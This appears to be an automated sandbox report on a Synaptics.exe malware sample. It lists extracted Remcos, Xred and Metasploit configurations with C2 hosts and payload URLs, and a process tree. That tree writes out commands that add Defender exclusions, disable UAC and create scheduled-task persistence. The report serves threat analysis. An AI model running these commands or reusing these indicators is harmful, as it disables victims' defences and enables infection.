darktortilla | 4e5cebe1908e12e8a4ed1198fb01fb87871dbe54847855b11b3540dbc47bbe88

max time kernel
0s
max time network
37s
platform
windows10-2004_x64
resource
win10v2004-20251016-en
resource tags

arch:x64arch:x86image:win10v2004-20251016-enlocale:en-usos:windows10-2004-x64system
submitted
06/12/2025, 00:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
Synaptics.exe
Size 764KB
Sample251206-aq5fcsbt4e
SHA256 4e5cc8cb98584335400d00f0a0803c3e0202761f3fbe50bcab3858a80df255e1
MD5 85e3d4ac5a6ef32fb93764c090ef32b7
SHA1 adedb0aab26d15cf96f66fda8b4cfbbdcc15ef52
SHA512 a7a037bde41bcd425be18a712e27a793185f7fde638e139bbd9d253c371cd9622385eda39cf91ab715ead2591cff5b8c9f5b31d903f138d8af7bab6a9001ccab
SSDEEP 12288:6MSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9Ufbj:6nsJ39LyjbJkQFMhmC+6GD9mH
MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family

xred

xred.mooo.com

Attributes

email
[email protected]
payload_url
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1

http://xred.site50.net/syn/SUpdate.ini

https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download

https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1

http://xred.site50.net/syn/Synaptics.rar

https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download

https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1

http://xred.site50.net/syn/SSLLibrary.dll

Extracted

Family

metasploit

Version

windows/reverse_tcp

167.250.49.155:445

Extracted

Family

remcos

Version

3.8.0 Pro

Botnet

paydaytry

198.50.242.157:443
apleegodfivem.ddns.net:443

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
GoogleUpdate.exe
copy_folder
GoogleDat
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
true
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
bootdata
mouse_option
false
mutex
Attempt-S4A0CI
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
ChromeUpdater
take_screenshot_option
false
take_screenshot_time
5

Signatures

Darktortilla
DarkTortilla is a highly configurable .NET based crypter that delivers a wide range of information stealers.
loader crypter darktortilla
Darktortilla family
darktortilla

Detect Neshta payload 10 IoCs

resource	yara_rule
behavioral9/files/0x0007000000024262-1022.dat	family_neshta
behavioral9/memory/5752-1222-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral9/memory/5552-1227-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral9/memory/4724-1256-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral9/memory/5912-1258-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral9/memory/2068-1257-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral9/memory/4604-1255-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral9/memory/5980-1244-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral9/memory/5420-1268-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral9/memory/5448-1274-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta

Detects Darktortilla crypter. 1 IoCs

resource	yara_rule
behavioral9/memory/2796-1216-0x0000000005390000-0x00000000053D2000-memory.dmp	darktortilla

Detects KillMBR 1 IoCs

resource	yara_rule
behavioral9/files/0x000700000002425f-860.dat	family_killmbr

KillMBR
KillMBR is a trojan that attempts to overwrite the Master Boot Record.
wiper trojan killmbr
Killmbr family
killmbr
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Metasploit family
metasploit
Neshta
Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.
persistence spyware neshta
Neshta family
neshta
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos
Xred
Xred is backdoor written in Delphi.
backdoor xred
Xred family
xred

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5248	powershell.exe
3276	powershell.exe
2744	powershell.exe

Downloads MZ/PE file

ACProtect 1.3x - 1.4x DLL software 1 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral9/files/0x00070000000241bb-401.dat	acprotect

Indirect Command Execution 1 TTPs 3 IoCs

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

defense_evasion

Indirect Command Execution

T1202

pid	Process
1672	forfiles.exe
5200	forfiles.exe
5360	forfiles.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
5500	tasklist.exe
1384	tasklist.exe

UPX packed file 12 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral9/files/0x00080000000241b8-388.dat	upx
behavioral9/memory/3156-390-0x0000000000400000-0x0000000000416000-memory.dmp	upx
behavioral9/files/0x00070000000241bb-401.dat	upx
behavioral9/files/0x00070000000241c7-406.dat	upx
behavioral9/memory/3156-424-0x0000000000400000-0x0000000000416000-memory.dmp	upx
behavioral9/memory/1156-425-0x0000000000400000-0x0000000000A80000-memory.dmp	upx
behavioral9/files/0x00070000000241b9-391.dat	upx
behavioral9/memory/1156-446-0x0000000000400000-0x0000000000A80000-memory.dmp	upx
behavioral9/memory/1156-800-0x0000000000400000-0x0000000000A80000-memory.dmp	upx
behavioral9/memory/1904-898-0x0000000000350000-0x00000000004CA000-memory.dmp	upx
behavioral9/memory/1156-1214-0x0000000000400000-0x0000000000A80000-memory.dmp	upx
behavioral9/memory/1904-1261-0x0000000000350000-0x00000000004CA000-memory.dmp	upx

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5228	sc.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Synaptics.exe

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral9/files/0x0007000000024193-285.dat	nsis_installer_1
behavioral9/files/0x0007000000024193-285.dat	nsis_installer_2

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2632	timeout.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
5564	reg.exe
5216	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5512	schtasks.exe
2068	schtasks.exe
5564	schtasks.exe
1244	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\Synaptics.exe
"C:\Users\Admin\AppData\Local\Temp\Synaptics.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:4880
- C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
  "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"
  2⤵
  PID:800
- - C:\Users\Admin\AppData\Local\Temp\Files\random.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\random.exe"
    3⤵
    PID:4584
  - - C:\Users\Admin\AppData\Local\Temp\7zS3524.tmp\Install.exe
      .\Install.exe
      4⤵
      PID:1556
    - - C:\Users\Admin\AppData\Local\Temp\7zS3524.tmp\config.exe
        
        config.exe /xLdidZijt "452799" /S
        5⤵
        
        PID:1192
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True" &
        6⤵
        
        PID:4912
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        7⤵
        Indirect Command Execution
        
        PID:1672
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:4988
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3276
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        10⤵
        
        PID:1904
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True"
        7⤵
        Indirect Command Execution
        
        PID:5200
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True
        8⤵
        
        PID:5220
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5248
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True
        10⤵
        
        PID:6104
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
        7⤵
        Indirect Command Execution
        
        PID:5360
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
        8⤵
        
        PID:5472
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2744
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
        10⤵
        
        PID:4856
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bdFUuWXJhGRaMzPmKB" /SC once /ST 00:29:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\nnEaZCbtCuWmFnyZt\CDbnKvgFxZeNAdN\iJcQehO.exe\" Ow /kKdids 452799 /S" /V1 /F
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5564
- - C:\Users\Admin\AppData\Local\Temp\Files\OfferedBuilt.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\OfferedBuilt.exe"
    3⤵
    PID:2256
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy Dominant Dominant.cmd & Dominant.cmd
      4⤵
      PID:4216
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:5500
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa.exe opssvc.exe"
        5⤵
        
        PID:5936
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:1384
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
        5⤵
        
        PID:4472
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 73548
        5⤵
        
        PID:3048
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "EvilTeethMagnificentSub" Shoulder
        5⤵
        
        PID:5860
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b Appreciated + Consequences + Atmospheric + Under + Medium + Edt + Launched + Expert + Ready + Korean + Cite + Suspended + Set + Maple 73548\h
        5⤵
        
        PID:1872
    - - C:\Users\Admin\AppData\Local\Temp\73548\Mph.pif
        
        73548\Mph.pif 73548\h
        5⤵
        
        PID:2860
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks.exe /create /tn "GaiaTrack" /tr "wscript //B 'C:\Users\Admin\AppData\Local\EcoOptimize Solutions\GaiaTrack.js'" /sc onlogon /F /RL HIGHEST
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2068
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout 15
        5⤵
        Delays execution with timeout.exe
        
        PID:2632
- - C:\Users\Admin\AppData\Local\Temp\Files\sgn.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\sgn.exe"
    3⤵
    PID:2700
- - C:\Users\Admin\AppData\Local\Temp\Files\vnc.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\vnc.exe"
    3⤵
    PID:4192
- - C:\Users\Admin\AppData\Local\Temp\Files\injectorOld.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\injectorOld.exe"
    3⤵
    PID:1908
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      4⤵
      PID:5256
- - C:\Users\Admin\AppData\Local\Temp\Files\hack1226.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\hack1226.exe"
    3⤵
    PID:2632
- - C:\Users\Admin\AppData\Local\Temp\Files\BootstrapperNew.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\BootstrapperNew.exe"
    3⤵
    PID:5352
- - C:\Users\Admin\AppData\Local\Temp\Files\CritScript.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\CritScript.exe"
    3⤵
    PID:5712
  - - C:\Users\Admin\AppData\Local\Temp\JUSCHED.EXE
      "C:\Users\Admin\AppData\Local\Temp\JUSCHED.EXE"
      4⤵
      PID:5952
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Java Update Scheduler" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Java\jusched.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1244
    - - C:\Users\Admin\AppData\Roaming\Java\jusched.exe
        
        "C:\Users\Admin\AppData\Roaming\Java\jusched.exe"
        5⤵
        
        PID:3744
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Java Update Scheduler" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Java\jusched.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5512
- - C:\Users\Admin\AppData\Local\Temp\Files\cabal.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\cabal.exe"
    3⤵
    PID:5844
  - - C:\Users\Admin\AppData\Local\Temp\rgvrpogafy.exe
      "C:\Users\Admin\AppData\Local\Temp\rgvrpogafy.exe" "C:\Users\Admin\AppData\Local\Temp\qqzegjruyg.exe" "C:\Users\Admin\AppData\Local\Temp\Files\cabal.exe"
      4⤵
      PID:5644
    - - C:\Users\Admin\AppData\Local\Temp\Files\cabal.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\cabal.exe"
        5⤵
        
        PID:5608
  - - C:\Users\Admin\AppData\Local\Temp\rrbocqtiji.exe
      C:\Users\Admin\AppData\Local\Temp\rrbocqtiji.exe
      4⤵
      PID:1904
    - - C:\Windows\System32\cmd.exe
        
        /c sc config msdtc obj= LocalSystem
        5⤵
        
        PID:4036
      - C:\Windows\system32\sc.exe
        
        sc config msdtc obj= LocalSystem
        6⤵
        Launches sc.exe
        
        PID:5228
- - C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"
    3⤵
    PID:6068
- - C:\Users\Admin\AppData\Local\Temp\Files\MEMZ.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\MEMZ.exe"
    3⤵
    PID:2032
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\MEMZ.exe" /watchdog
      4⤵
      PID:5980
    - - C:\Users\Admin\AppData\Local\Temp\Files\MEMZ.exe
        
        C:\Users\Admin\AppData\Local\Temp\Files\MEMZ.exe /watchdog
        5⤵
        
        PID:4836
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\MEMZ.exe" /watchdog
      4⤵
      PID:4604
    - - C:\Users\Admin\AppData\Local\Temp\Files\MEMZ.exe
        
        C:\Users\Admin\AppData\Local\Temp\Files\MEMZ.exe /watchdog
        5⤵
        
        PID:5880
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\MEMZ.exe" /watchdog
      4⤵
      PID:4724
    - - C:\Users\Admin\AppData\Local\Temp\Files\MEMZ.exe
        
        C:\Users\Admin\AppData\Local\Temp\Files\MEMZ.exe /watchdog
        5⤵
        
        PID:4372
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\MEMZ.exe" /watchdog
      4⤵
      PID:2068
    - - C:\Users\Admin\AppData\Local\Temp\Files\MEMZ.exe
        
        C:\Users\Admin\AppData\Local\Temp\Files\MEMZ.exe /watchdog
        5⤵
        
        PID:5872
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\MEMZ.exe" /watchdog
      4⤵
      PID:5912
    - - C:\Users\Admin\AppData\Local\Temp\Files\MEMZ.exe
        
        C:\Users\Admin\AppData\Local\Temp\Files\MEMZ.exe /watchdog
        5⤵
        
        PID:5280
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\MEMZ.exe" /main
      4⤵
      PID:5420
    - - C:\Users\Admin\AppData\Local\Temp\Files\MEMZ.exe
        
        C:\Users\Admin\AppData\Local\Temp\Files\MEMZ.exe /main
        5⤵
        
        PID:4896
      - C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\notepad.exe" \note.txt
        6⤵
        
        PID:5792
        
        C:\Windows\SysWOW64\notepad.exe
        
        C:\Windows\System32\notepad.exe \note.txt
        7⤵
        
        PID:1020
- - C:\Users\Admin\AppData\Local\Temp\Files\FXServer.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\FXServer.exe"
    3⤵
    PID:5448
  - - C:\Users\Admin\AppData\Local\Temp\3582-490\FXServer.exe
      "C:\Users\Admin\AppData\Local\Temp\3582-490\FXServer.exe"
      4⤵
      PID:5204
    - - C:\Windows\SysWOW64\cmd.exe
        
        /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        5⤵
        
        PID:5424
      - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        6⤵
        Modifies registry key
        
        PID:5564
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install.vbs"
        5⤵
        
        PID:1148
      - C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c "C:\ProgramData\GoogleDat\GoogleUpdate.exe"
        6⤵
        
        PID:5456
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c C:\ProgramData\GoogleDat\GoogleUpdate.exe
        7⤵
        
        PID:5408
        
        C:\ProgramData\GoogleDat\GoogleUpdate.exe
        
        C:\ProgramData\GoogleDat\GoogleUpdate.exe
        8⤵
        
        PID:5792
- - C:\Windows\svchost.com
    "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\NPS.exe"
    3⤵
    PID:5552
  - - C:\Users\Admin\AppData\Local\Temp\Files\NPS.exe
      C:\Users\Admin\AppData\Local\Temp\Files\NPS.exe
      4⤵
      PID:5516
- - C:\Windows\svchost.com
    "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\PDF24C~1.EXE"
    3⤵
    PID:5752
  - - C:\Users\Admin\AppData\Local\Temp\Files\PDF24C~1.EXE
      C:\Users\Admin\AppData\Local\Temp\Files\PDF24C~1.EXE
      4⤵
      PID:2796
- C:\ProgramData\Synaptics\Synaptics.exe
  "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
  2⤵
  PID:4808
- - C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
    "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate
    3⤵
    PID:664
  - - C:\Users\Admin\AppData\Local\Temp\Files\ClassTicket.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\ClassTicket.exe"
      4⤵
      PID:4024
  - - C:\Users\Admin\AppData\Local\Temp\Files\37cqsj.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\37cqsj.exe"
      4⤵
      PID:2908
    - - C:\Users\Admin\AppData\Roaming\cqsj\cqsj.exe
        
        "C:\Users\Admin\AppData\Roaming\cqsj\cqsj.exe" /setupsucc
        5⤵
        
        PID:2396
  - - C:\Users\Admin\AppData\Local\Temp\Files\steamerx.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\steamerx.exe"
      4⤵
      PID:5328
  - - C:\Users\Admin\AppData\Local\Temp\Files\justpoc.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\justpoc.exe"
      4⤵
      PID:5452

C:\ProgramData\Synaptics\Synaptics.exe
C:\ProgramData\Synaptics\Synaptics.exe
1⤵
PID:4452
- C:\Windows\SysWOW64\._cache_Synaptics.exe
  "C:\Windows\system32\._cache_Synaptics.exe"
  2⤵
  PID:2132
- - C:\Windows\SysWOW64\Files\center.exe
    "C:\Windows\System32\Files\center.exe"
    3⤵
    PID:1444
  - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\CenterRun.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\CenterRun.exe
      4⤵
      PID:3156
    - - C:\Users\Admin\Documents\seetrol\center\SeetrolCenter.exe
        
        "C:\Users\Admin\Documents\seetrol\center\SeetrolCenter.exe"
        5⤵
        
        PID:1156
- - C:\Windows\SysWOW64\Files\billi_e58d74e455634dc695ed8a7b8b320325.exe.dom_1.exe
    "C:\Windows\System32\Files\billi_e58d74e455634dc695ed8a7b8b320325.exe.dom_1.exe"
    3⤵
    PID:1956

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
1⤵
PID:4112

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x424 0x518
1⤵
PID:2684

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:6012

C:\Users\Admin\AppData\Roaming\Java\jusched.exe
C:\Users\Admin\AppData\Roaming\Java\jusched.exe
1⤵
PID:5520

C:\Windows\system32\SearchIndexer.exe
C:\Windows\system32\SearchIndexer.exe /Embedding
1⤵
PID:5180
- C:\Windows\system32\SearchProtocolHost.exe
  "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe1_ Global\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"
  2⤵
  PID:5648
- C:\Windows\system32\SearchFilterHost.exe
  "C:\Windows\system32\SearchFilterHost.exe" 0 804 808 816 8192 812 784
  2⤵
  PID:5432

C:\ProgramData\GoogleDat\GoogleUpdate.exe
"C:\ProgramData\GoogleDat\GoogleUpdate.exe"
1⤵
PID:1696
- C:\Windows\SysWOW64\cmd.exe
  /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  PID:3196
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - Modifies registry key
    PID:5216
- C:\Windows\SysWOW64\svchost.exe
  svchost.exe
  2⤵
  PID:2008

C:\Windows\system32\wscript.exe
wscript
1⤵
PID:5564

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indirect Command Execution

T1202

Modify Registry

T1112

Credential Access

Discovery

Process Discovery

T1057

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Synaptics.exe

Path C:\ProgramData\Synaptics\Synaptics.exe
Size 764KB
SHA256 4e5cc8cb98584335400d00f0a0803c3e0202761f3fbe50bcab3858a80df255e1
MD5 85e3d4ac5a6ef32fb93764c090ef32b7
SHA1 adedb0aab26d15cf96f66fda8b4cfbbdcc15ef52
SHA512 a7a037bde41bcd425be18a712e27a793185f7fde638e139bbd9d253c371cd9622385eda39cf91ab715ead2591cff5b8c9f5b31d903f138d8af7bab6a9001ccab
SSDEEP 12288:6MSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9Ufbj:6nsJ39LyjbJkQFMhmC+6GD9mH
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 1KB
SHA256 b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2
MD5 33b19d75aa77114216dbc23f43b195e3
SHA1 36a6c3975e619e0c5232aa4f5b7dc1fec9525535
SHA512 676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821
MD5 SHA1 SHA512

Submit Download

._cache_Synaptics.exe

Path C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
Size 10KB
SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
MD5 2a94f3960c58c6e70826495f76d00b85
SHA1 e2a1a5641295f5ebf01a37ac1c170ac0814bb71a
SHA512 fbf55b55fcfb12eb8c029562956229208b9e8e2591859d6336c28a590c92a4d0f7033a77c46ef6ebe07ddfca353aba1e84b51907cd774beab148ee901c92d62f
SSDEEP 192:xlwayyHOXGc20L7BIW12n/ePSjiTlzkGu8stYcFwVc03KY:xlwwHe/20PKn/cLTlHuptYcFwVc03K
MD5 SHA1 SHA512 SSDEEP

Submit Download

FXServer.exe

Path C:\Users\Admin\AppData\Local\Temp\3582-490\FXServer.exe
Size 469KB
SHA256 32d8c2a1bb4d5a515d9eb36c1286b0ac08624c8ea3df0e97f12391558ce81153
MD5 991e707e324731f86a43900e34070808
SHA1 5b5afd8cecb865de3341510f38d217f47490eead
SHA512 07411dffbc6beff08a901afa8db3af4bc7d214407f7b20a8570e16b3900f512ad8ee2d04e31bb9d870585b9825e9102078f6c40eb6df292f09fffe57eea37f79
SSDEEP 12288:wmnk7iLJbpIpiRL6I2WhSKQ9ZsfZQScn9:wiLJbpI7I2WhQqZ7c9
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

